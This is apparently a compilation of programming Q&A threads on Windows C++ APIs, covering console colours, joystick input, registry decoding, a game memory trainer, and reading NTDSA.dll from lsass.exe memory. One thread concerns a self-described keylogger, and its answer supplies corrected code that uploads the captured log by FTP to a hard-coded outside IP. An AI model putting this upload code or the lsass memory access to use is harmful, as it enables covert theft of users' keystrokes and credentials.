What is causing these strange colors in the console when using WriteConsoleOutputAttribute? - c++

I am currently trying to format a console window with characters in certain positions with color-coding to make things fun. All was fine and simple until I tried to perform a simple coloring operation to a line of text on row 4, which resulted in many odd background colors and foreground colors being mixed. What could be the cause of this?
I have created a simple reproducible example:
#define UNICODE
#include <iostream>
#include <Windows.h>
#include <string>
#pragma comment(lib, "User32.lib")
using namespace std;
int main()
{
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE);
HANDLE hStdErr = GetStdHandle(STD_ERROR_HANDLE);
SMALL_RECT consoleCoords{0, 0, 79, 19};
COORD sbSize{80, 20};
if(!SetConsoleWindowInfo(hStdOut, TRUE, &consoleCoords)) /* HANDLE hConsoleOutput, BOOL bAbsolute, const SMALL_RECT* lpConsoleWindow */
{
wcout << L"SetConsoleWindowInfo failed. Error Code: " << GetLastError() << L'\n';
system("pause");
return 0;
}
if(!SetConsoleScreenBufferSize(hStdOut, sbSize)) /* HANDLE hConsoleOutput, COORD dwSize */
{
wcout << L"SetConsoleScreenBufferSize failed. Error Code: " << GetLastError() << L'\n';
system("pause");
return 0;
}
DWORD cCharsWritten{};
DWORD attrsWritten{};
CONSOLE_SCREEN_BUFFER_INFO bufferInfo{};
DWORD dwConsoleSz{};
system("pause");
if(!GetConsoleScreenBufferInfo(hStdOut, &bufferInfo))
{
wcout << L"GetConsoleScreenBufferInfo failed. Error Code: " << GetLastError() << '\n';
system("pause");
return 0;
}
dwConsoleSz = bufferInfo.dwSize.X * bufferInfo.dwSize.Y; /* X (character cells) * Y (character cells) */
COORD cursorHome{0, 0};
/* Now we fill the entire screen with blanks. */
if(!FillConsoleOutputCharacter(
hStdOut,
L' ',
dwConsoleSz,
cursorHome,
&cCharsWritten
)
)
{
wcout << L"FillConsoleOutputCharacter failed. Error Code: " << GetLastError() << '\n';
system("pause");
return 0;
}
if(!SetConsoleCursorPosition(hStdOut, cursorHome))
/*Research is needed regarding this function as it does not seem to move the cursor. */
{
wcout << L"SetConsoleCursorPosition failed. Error Code: " << GetLastError() << '\n';
system("pause");
return 0;
}
wchar_t topmiddlebottomRow[] = L"================";
wchar_t separatorString[] = L"================================================================================";
LPCWSTR writeRow = topmiddlebottomRow;
LPCWSTR writeSeparator = separatorString;
WORD S_attr = FOREGROUND_GREEN;
if(!WriteConsoleOutputCharacterW(hStdOut, writeRow, 16, COORD{64, 0}, &cCharsWritten))
{
wcout << L"WriteConsoleOutputCharacterW failed. Error Code: " << GetLastError() << L'\n';
system("pause");
return 0;
}
if(!WriteConsoleOutputCharacterW(hStdOut, writeRow, 16, COORD{64, 1}, &cCharsWritten))
{
wcout << L"WriteConsoleOutputCharacterW failed. Error Code: " << GetLastError() << L'\n';
system("pause");
return 0;
}
if(!WriteConsoleOutputCharacterW(hStdOut, writeRow, 16, COORD{64, 2}, &cCharsWritten))
{
wcout << L"WriteConsoleOutputCharacterW failed. Error Code: " << GetLastError() << L'\n';
system("pause");
return 0;
}
if(!WriteConsoleOutputCharacterW(hStdOut, writeSeparator, 80, COORD{0, 4}, &cCharsWritten))
{
wcout << L"WriteConsoleOutputCharacterW failed. Error Code: " << GetLastError() << L'\n';
system("pause");
return 0;
}
if(!WriteConsoleOutputAttribute(hStdOut, &S_attr, 80, COORD{0, 4}, &attrsWritten))
{
wcout << L"WriteConsoleOutputAttribute failed. Error Code: " << GetLastError() << L'\n';
system("pause");
return 0;
}
while(1)
{
}
return 0;
}
The #pragma comment preprocessor line may be unnecessary - I am still learning.

Related

WriteProcessMemory not working for some reason

This is all the source code for a program i'm trying to make, and I can't get WriteProcessMemory to work at all. It returns the correct messages, saying that everything went successfully, but nothing actually changes in the game. Does anyone know of a fix?
#include <iostream>
#include <Windows.h>
using namespace std;
// variables
int plcHold = 1;
string hlthLoop = "OFF";
string ammoLoop = "OFF";
DWORD pid;
DWORD playerAddr;
DWORD hlthOffs = 0xF8;
// main function
int main()
{
// finding pid, opening proc, finding player address
HWND hwnd = FindWindowA(NULL, "AssaultCube");
if(hwnd == NULL)
{
cout << "Error; Couldn't find window" << endl;
} else{
GetWindowThreadProcessId(hwnd, &pid);
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(pHandle == NULL)
{
cout << "Error; Couldn't open process" << endl;
} else{
ReadProcessMemory(pHandle, (LPCVOID)0x50F4F4, &playerAddr, sizeof(playerAddr), 0);
if(ReadProcessMemory != FALSE)
{
cout << "Health successfully read!" << endl;
} else{
cout << "Error code " << GetLastError << endl;
}
}
while(plcHold == 1){
cout << "========== *****'s Assault Cube Trainer ==========\n" << endl;
cout << "=============== Health Loop - " << hlthLoop << " ================" << endl;
Sleep(1500);
system("cls");
if(GetAsyncKeyState(0x5A))
{
cout << "Health successfully edited!" << endl;
WriteProcessMemory(pHandle, LPVOID(playerAddr + hlthOffs), 0, sizeof(999), 0);
CloseHandle(pHandle);
}
}
}
return 0;
}
You're passing a null pointer to WriteProcessMemory for the third (lpBuffer) parameter. You have to pass the address of the actual value, not the value itself. If you want to write an integer value, try this:
DWORD val = 0; // or 999?
WriteProcessMemory(
pHandle, static_cast<LPVOID>(playerAddr + hlthOffs),
&val, sizeof(val), 0);

GetLastError() returns error 6 from FtpPutFile()

I'm developing a keylogger for a project. When trying to upload the logs to a server with FTP, GetLastError() returns 6 for FtpPutFile(). I didn't find a solution. One solution I did find was the hint is invalid, but I replaced 0 or NULL and still get the same error.
#pragma comment(lib, "Wininet.lib")
#include <Windows.h>
#include <iostream>
#include <WinInet.h>
#include <tchar.h>
using namespace std;
int upload()
{
string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no file\n";
return 0;
}
HINTERNET hint = InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
HINTERNET hftp = InternetConnect(hint, (LPCWSTR)site.c_str(), INTERNET_DEFAULT_FTP_PORT,
(LPCWSTR) user.c_str(), (LPCWSTR)pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!FtpPutFile(hftp, (LPCWSTR)file.c_str(), (LPCWSTR)"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
//cout << "FAIL!" << endl;
cout << GetLastError() << endl;
}
else
{
cout << "file sended !";
}
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return 0;
}
Error 6 is ERROR_INVALID_HANDLE. You are not checking the return values of InternetOpen() and InternetConnect() for failures before calling FtpPutFile().
You are, in fact, passing an invalid handle to FtpPutFile(), because they are actually failing, because all of your LPCWSTR typecasts are simply wrong. You can't just typecast a char* pointer to wchar_t* and expect everything to work. Remove the typecasts and watch the compiler then complain to you. There is a reason for that.
You need to use MultiByteToWideChar() (or equivalent) to actually convert the char data to wchar_t, eg:
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
#include <vector>
using namespace std;
#pragma comment(lib, "Wininet.lib")
wstring to_wstring(const string &s)
{
int len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), NULL, 0);
if (len > 0)
{
vector<WCHAR> vec(len);
MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), &vec[0], len);
return wstring(&vec[0], len);
}
return wstring();
}
bool upload()
{
string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no file" << endl;
return false;
}
HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectW(hint, to_wstring(site).c_str(), INTERNET_DEFAULT_FTP_PORT, to_wstring(user).c_str(), to_wstring(pass).c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetConnect failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileW(hftp, to_wstring(file).c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}
Or, simply use std::wstring to begin with instead of using std::string at all:
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
using namespace std;
#pragma comment(lib, "Wininet.lib")
bool upload()
{
wstring file = L"C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
wstring site = L"142.93.169.69";
wstring user = L"user";
wstring pass = L"pass";
if (!wifstream(file))
{
cout << "no file" << endl;
return 0;
}
HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectW(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileW(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}
Otherwise, if you want to keep using std::string as-is, then just use the ANSI version of the WinInet functions:
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
using namespace std;
#pragma comment(lib, "Wininet.lib")
bool upload()
{
string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no file" << endl;
return 0;
}
HINTERNET hint = InternetOpenA(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectA(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileA(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}

getrawinputdata within a simple main()

I am trying to read values from the joystick using simple C++ techniques and Windows.
My aim is to write a program that sends a keyboard command whenever the joystick signal exceeds a predefined threshold. The keyboard command will be picked up by whichever window would be active at the time.
My C++ coding skills are limited so I wish to do this in the simplest way, preferably within one main().
Up to now I have managed to register the joystick.
But I stumbled across the first problem, which is how to use GetRawInputData(). I found a lot of examples about this within a win32 structure, but am struggling to translate this to a simple main().
My code till now is the following:
#include <windows.h>
#include <iostream>
RAWINPUTDEVICE Rid[1];
int main()
{
UINT bufferSize;
Rid[0].usUsagePage = 0x01;
Rid[0].usUsage = 0x05;
Rid[0].dwFlags = 0;
Rid[0].hwndTarget = 0;
if (RegisterRawInputDevices(Rid, 1, sizeof(Rid[0])) == FALSE)
{
std::cout << "Registration failed" << std::endl;
return 1;
}
else
{
std::cout << "Registration OK" << std::endl;
while (1)
{
// This is the part in which I would like to read the joystick values
// and determine whether to send a keyboard event or not.
}
}
return 0;
}
Can you help?
Thanks.
UPDATE
Following the suggestion to use joyGetInput(), here is the updated code:
#include<Windows.h>
#include<iostream>
#include<time.h>
using namespace std;
#define mid 32767
#define trig 1804
#define reset 1475
int main()
{
JOYINFO pos;
UINT result;
SYSTEMTIME st;
INPUT xi, yi, zi;
int i = 0;
int state[6] = { 0,0,0,0,0,0 };
int uu = mid + trig;
int ul = mid + reset;
xi.type = INPUT_KEYBOARD;
yi.type = INPUT_KEYBOARD;
zi.type = INPUT_KEYBOARD;
while (1)
{
result = joyGetPos(i, &pos);
if (result != JOYERR_NOERROR)
{
cout << "JoyID " << i << " returned an error. Trying the next one." << endl;
i++;
if (i > 15)
{
cout << "Reached the maximum allowed attempts. Exiting." << endl;
return 1;
}
}
else
{
//GetSystemTime(&st);
//cout << st.wHour << ":" << st.wMinute << ":" << st.wSecond << ":" << st.wMilliseconds << "\tX: " << pos.wXpos << "\tY: " << pos.wYpos << "\tZ: " << pos.wZpos << endl;
if (pos.wXpos > uu && state[0] == 0)
{
xi.ki.wVk = 0x30;
xi.ki.dwFlags = 0;
SendInput(1, &xi, sizeof(INPUT));
state[0] = 1;
GetSystemTime(&st);
cout << "Key down - X axis" << endl;
cout << st.wHour << ":" << st.wMinute << ":" << st.wSecond << ":" << st.wMilliseconds << "\tX: " << pos.wXpos << "\tY: " << pos.wYpos << "\tZ: " << pos.wZpos << endl;
}
if (pos.wXpos < ul && state[0] == 1)
{
xi.ki.wVk = 0x30;
xi.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &xi, sizeof(INPUT));
state[0] = 0;
GetSystemTime(&st);
cout << "Key up - X axis" << endl;
cout << st.wHour << ":" << st.wMinute << ":" << st.wSecond << ":" << st.wMilliseconds << "\tX: " << pos.wXpos << "\tY: " << pos.wYpos << "\tZ: " << pos.wZpos << endl;
}
}
}
return 0;
}
My new question now is:
How do you simulate a long key press? I would like the target window to behave just like a user kept pressing on the key. With the above code, the key is issued only once.
GetRawInputData() takes an HRAWINPUT handle as input. The only place you can get that handle is from the LPARAM parameter of the WM_INPUT window message.
Your main() function needs to use CreateWindow/Ex() to create a window (if you don't want the user to see it, consider making a message-only window), specify that window in the joystick's RAWINPUTDEVICE::hwndTarget field when you call RegisterRawInputDevices(), and then run a message loop so the window can receive messages. For example:
#include <windows.h>
#include <iostream>
int main()
{
WNDCLASSEX wx = {};
wx.cbSize = sizeof(WNDCLASSEX);
wx.lpfnWndProc = DefWindowProc;
wx.hInstance = GetModuleHandle(NULL);
wx.lpszClassName = TEXT("MyRawInputWndClass");
if (!RegisterClassEx(&wx))
{
std::cout << "Window Class Registration failed" << std::endl;
return 1;
}
HWND hWnd = CreateWindowEx(0, wx.lpszClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, wx.hInstance, NULL);
if (!hWnd)
{
std::cout << "Window Creation failed" << std::endl;
return 1;
}
RAWINPUTDEVICE Rid = {};
Rid.usUsagePage = 0x01;
Rid.usUsage = 0x05;
Rid.dwFlags = 0;
Rid.hwndTarget = hWnd;
if (!RegisterRawInputDevices(&Rid, 1, sizeof(RAWINPUTDEVICE)))
{
std::cout << "Device Registration failed" << std::endl;
return 1;
}
std::cout << "Device Registration OK" << std::endl;
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
if (msg.message == WM_INPUT)
{
HRAWINPUT hRawInput = reinterpret_cast<HRAWINPUT>(msg.lParam);
// retrieve and process data from hRawInput as needed...
}
else
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return 0;
}
Alternatively:
#include <windows.h>
#include <iostream>
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if (Msg == WM_INPUT)
{
HRAWINPUT hRawInput = reinterpret_cast<HRAWINPUT>(lParam);
// retrieve and process data from hRawInput as needed...
}
return DefWindowProc(hWnd, Msg, wParam, lParam);
}
int main()
{
WNDCLASSEX wx = {};
wx.cbSize = sizeof(WNDCLASSEX);
wx.lpfnWndProc = &MyWndProc;
wx.hInstance = GetModuleHandle(NULL);
wx.lpszClassName = TEXT("MyRawInputWndClass");
if (!RegisterClassEx(&wx))
{
std::cout << "Window Class Registration failed" << std::endl;
return 1;
}
HWND hWnd = CreateWindowEx(0, wx.lpszClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, wx.hInstance, NULL);
if (!hWnd)
{
std::cout << "Window Creation failed" << std::endl;
return 1;
}
RAWINPUTDEVICE Rid = {};
Rid.usUsagePage = 0x01;
Rid.usUsage = 0x05;
Rid.dwFlags = 0;
Rid.hwndTarget = hWnd;
if (!RegisterRawInputDevices(&Rid, 1, sizeof(RAWINPUTDEVICE)))
{
std::cout << "Device Registration failed" << std::endl;
return 1;
}
std::cout << "Device Registration OK" << std::endl;
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
I suggest you read the Raw Input documentation more carefully. This is all explained in detail. If you don't specify a window to RegisterRawInputDevices(), the OS will send the WM_INPUT messages to whichever window currently has the keyboard focus, which is not what you want.
That being said, if you want something simplier, you might consider using joyGetPosEx() instead of Raw Input.

Decode Registry Value stored in HKCU\...\Lock Screen\SlideshowDirectoryPath1

I am having trouble to decode the SlideshowDirectoryPath1 in my local Windows 10 computer by C++ program. I read this link:
"https://social.msdn.microsoft.com/Forums/en-US/edc2e1de-c7c6-4bef-becb-cf4924165551/decode-encrypted-path-from-slideshowdirectorypath1?forum=windowsgeneraldevelopmentissues"
It seems that the value is Base64 encoded. So I decoded it and then I passed the decoded result to SHGetPathFromIDList. After I successfully decoded the value (see my attached test program), the code failed in the call "SHGetPathFromIDList". The program always prints "Error when converting the path". And I have no clue on what was going wrong. I have tried my program in more than one computer.
Anyone could shed me some lights?
// ConsoleApplication1.cpp : Defines the entry point for the console
// application.
//
#include "stdafx.h"
#include <Shlobj.h>
#include <WinCrypt.h>
#include <atlbase.h>
#include <atlstr.h>
#include <iostream>
#include <sstream>
#include <vector>
#include <windows.h>
using namespace std;
int main() {
cout << "Testing" << endl;
CRegKey regKey;
LSTATUS status;
TCHAR path[2000] = _T("");
ULONG size = 2000;
if (ERROR_SUCCESS !=
(status = regKey.Open(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Wi")
_T("ndows\\CurrentVersion\\")
_T("Lock Screen"))) ||
ERROR_SUCCESS != (status = regKey.QueryStringValue(
_T("SlideshowDirectoryPath1"),
reinterpret_cast<LPTSTR>(path), &size))) {
regKey.Close();
cerr << "Error in getting registry SlideshowDirectoryPath1, " << status
<< endl;
return 1;
}
cout << size << endl;
wcout << path << endl;
DWORD outSize;
status = CryptStringToBinary(path, _tcslen(path), CRYPT_STRING_BASE64, NULL,
&outSize, NULL, NULL);
if (status == 0) {
DWORD dw = GetLastError();
cerr << "Error in converting base 64 step 1, " << dw << endl;
return 1;
}
ITEMIDLIST item;
status = CryptStringToBinary(path, _tcslen(path), CRYPT_STRING_BASE64,
(BYTE *)&item, &outSize, NULL, NULL);
if (status == 0) {
DWORD dw = GetLastError();
cerr << "Error in converting base 64 step 2, " << dw << endl;
return 1;
}
cout << "Getting Path value, input size:" << outSize << endl;
TCHAR *result = new TCHAR[MAX_PATH];
if (!SHGetPathFromIDList(&item, result)) {
cerr << "Error when converting the path" << endl;
return 1;
}
wcout << result << endl;
regKey.Close();
delete result;
return 0;
}

Win API ReadProcessMemory at base address of DLL returning unexpected data

I'm trying to read the contents of a DLL from memory for some academic research. Specifically, the NTDSA.DLL library for the purpose of mutating specific instructions to simulate programming errors to force the system to fail. The failure will then be recorded to train machine learning algorithms to predict future failures (this is an attempt to generalize previously published research seen here).
I'm getting what I believe to be the base address in virtual memory of the lsass.exe process (which loads the target DLL) through the process outlined here. I'm then calling ReadProcessMemory with an allocated buffer and the handle to lsass obtained by calling OpenProcess with 'PROCESS_ALL_ACCESS' set. The ReadProcessMemory returns with error code 299 80% of the time (partial read) with zero bytes read. My assumption is that the area I'm trying to access is in use when the call is made. Fortunately, it will occasionally return the number of bytes I'm requesting. Unfortunately, the data returned does not match what is on disk when compared to the static DLL in the System32 directory.
So the question is, is ReadProcessMemory doing something funny with the address that I give it, or is my virtual address wrong? Is there another way to figure out where that DLL gets loaded into memory? Any thoughts? Any help or suggestions would be greatly appreciated.
Adding Code:
// FaultInjection.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <psapi.h>
#include <string>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <io.h>
#include <tchar.h>
using namespace std;
int _tmain(int argc, _TCHAR* argv[]) {
// Declarations
int pid = 0;
__int64* start_addr;
DWORD size_of_ntdsa;
DWORD aProcesses[1024], cbNeeded, cProcesses;
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
HMODULE hmods[1024];
unsigned int i;
// Get All pids
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)){
cout << "Failed to get all PIDs: " << GetLastError() << endl;
return -1;
}
// Find pid for lsass.exe
cProcesses = cbNeeded / sizeof(DWORD);
for (i = 0; i < cProcesses; i++) {
if (aProcesses[i] != 0) {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i]);
if (hProc != NULL) {
HMODULE hMod;
DWORD cbNeededMod;
if (EnumProcessModules(hProc, &hMod, sizeof(hMod), &cbNeededMod)) {
GetModuleBaseName(hProc, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR));
}
if (wstring(szProcessName).find(L"lsass.exe") != string::npos) {
pid = aProcesses[i];
}
CloseHandle(hProc);
}
}
}
cout << "lsass pid: " << pid << endl;
HANDLE h_lsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h_lsass) {
cout << "Failed to open process (are you root?): " << GetLastError() << endl;
return -1;
}
// Get Process Image File Name
char filename[MAX_PATH];
if (GetProcessImageFileName(h_lsass, (LPTSTR)&filename, MAX_PATH) == 0) {
cout << "Failed to get image file name: " << GetLastError() << endl;
CloseHandle(h_lsass);
return -1;
}
// Enumerate modules within process
if (EnumProcessModules(h_lsass, hmods, sizeof(hmods), &cbNeeded)) {
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
TCHAR szModName[MAX_PATH];
if (GetModuleFileNameEx(h_lsass, hmods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {
if (wstring(szModName).find(L"NTDSA.dll") != string::npos) {
_tprintf(TEXT("%s\n"), szModName);
MODULEINFO lModInfo = { 0 };
if (GetModuleInformation(h_lsass, hmods[i], &lModInfo, sizeof(lModInfo))){
cout << "\t Base Addr: " << lModInfo.lpBaseOfDll << endl;
cout << "\t Entry Point: " << lModInfo.EntryPoint << endl;
cout << "\t Size of image: " << lModInfo.SizeOfImage << endl;
start_addr = (__int64*)lModInfo.lpBaseOfDll;
size_of_ntdsa = lModInfo.SizeOfImage;
}
else {
cout << "Failed to Print enumerated list of modules: " << GetLastError() << endl;
}
}
} else {
cout << "Failed to Print enumerated list of modules: " << GetLastError() << endl;
}
}
}
else {
cout << "Failed to enum the modules: " << GetLastError() << endl;
}
// Ready to continue?
string cont = "";
cout << "Continue? [Y|n]: ";
getline(cin, cont);
if (cont.find("n") != string::npos || cont.find("N") != string::npos) {
CloseHandle(h_lsass);
return 0;
}
void* buf = malloc(size_of_ntdsa);
if (!buf) {
cout << "Failed to allocate space for memory contents: " << GetLastError() << endl;
CloseHandle(h_lsass);
return -1;
}
SIZE_T num_bytes_read = 0;
int count = 0;
if (ReadProcessMemory(h_lsass, &start_addr, buf, size_of_ntdsa, &num_bytes_read) != 0) {
cout << "Read success. Got " << num_bytes_read << " bytes: " << endl;
} else {
int error_code = GetLastError();
if (error_code == 299) {
cout << "Partial read. Got " << num_bytes_read << " bytes: " << endl;
} else {
cout << "Failed to read memory: " << GetLastError() << endl;
CloseHandle(h_lsass);
free(buf);
return -1;
}
}
if (num_bytes_read > 0) {
FILE *fp;
fopen_s(&fp, "C:\\ntdsa_new.dll", "w");
SIZE_T bytes_written = 0;
while (bytes_written < num_bytes_read) {
bytes_written += fwrite(buf, 1, num_bytes_read, fp);
}
fclose(fp);
cout << "Wrote " << bytes_written << " bytes." << endl;
}
CloseHandle(h_lsass);
free(buf);
return 0;
}
Code works as described minus my amateur mistake of sending the address of the variable I was using to store the address of the location in virtual memory of the target application. In above code, changed:
if (ReadProcessMemory(h_lsass, &start_addr, buf, size_of_ntdsa, &num_bytes_read) != 0) {
to
if (ReadProcessMemory(h_lsass, start_addr, buf, size_of_ntdsa, &num_bytes_read) != 0) {
Works like a charm. Thank you ssbssa for pointing out mistake, sorry for wasting anyone's time.